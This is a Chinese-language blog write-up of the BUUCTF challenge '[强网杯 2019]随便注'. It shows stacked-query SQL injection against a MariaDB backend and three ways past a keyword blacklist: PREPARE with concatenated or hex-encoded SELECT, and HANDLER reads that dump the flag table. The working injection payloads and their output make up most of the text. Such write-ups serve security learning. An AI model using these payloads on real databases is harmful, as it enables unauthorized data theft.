BUUCTF [强网杯 2019]随便注 1

1. 拿到题目,先输入一个1'试一下是否存在注入点
报错
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
说明存在注入点,而且是mariaDB,那么可以使用mysql的语法操作
2. 联合查询一下,输入1' union select 1, 2, 报错
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
说明后端有对传入数据做检查,不让出现这些关键字
3. 注入1' ;show tables -- 展示有哪些表
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
4. 查看一下1919810931114514这张表的结构,注入
1'; desc `1919810931114514` #

回显

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

说明该表有个字段叫flag,需要把这个表的数据输出出来

方法一: 通过预编译手段(通过拼接select 绕过检查)

1';PREPARE hacker from concat('s', 'elect', ' * from `1919810931114514` ');EXECUTE hacker;#

方法二:通过预编译手段(通过将查询语句进行16进制编码绕过)

select * from `1919810931114514`语句进行16进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460

注入
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#

或

1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#


方法三: 通过mysql的 handler语法
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

PS: 语法讲解

1.预编译
预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤

格式:

PREPARE 名称 FROM 	Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;
举例:查询ID为1的用户:

方法一:
SElECT * FROM t_user WHERE USER_ID = 1

方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;

方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;

方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;
  1. handler
    handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
打开表:
HANDLER 表名 OPEN ;

查看数据:
HANDLER 表名 READ next;

关闭表:
HANDLER 表名 READ CLOSE;
posted @ 2022-11-06 17:30  明月照江江  阅读(52)  评论(0编辑  收藏  举报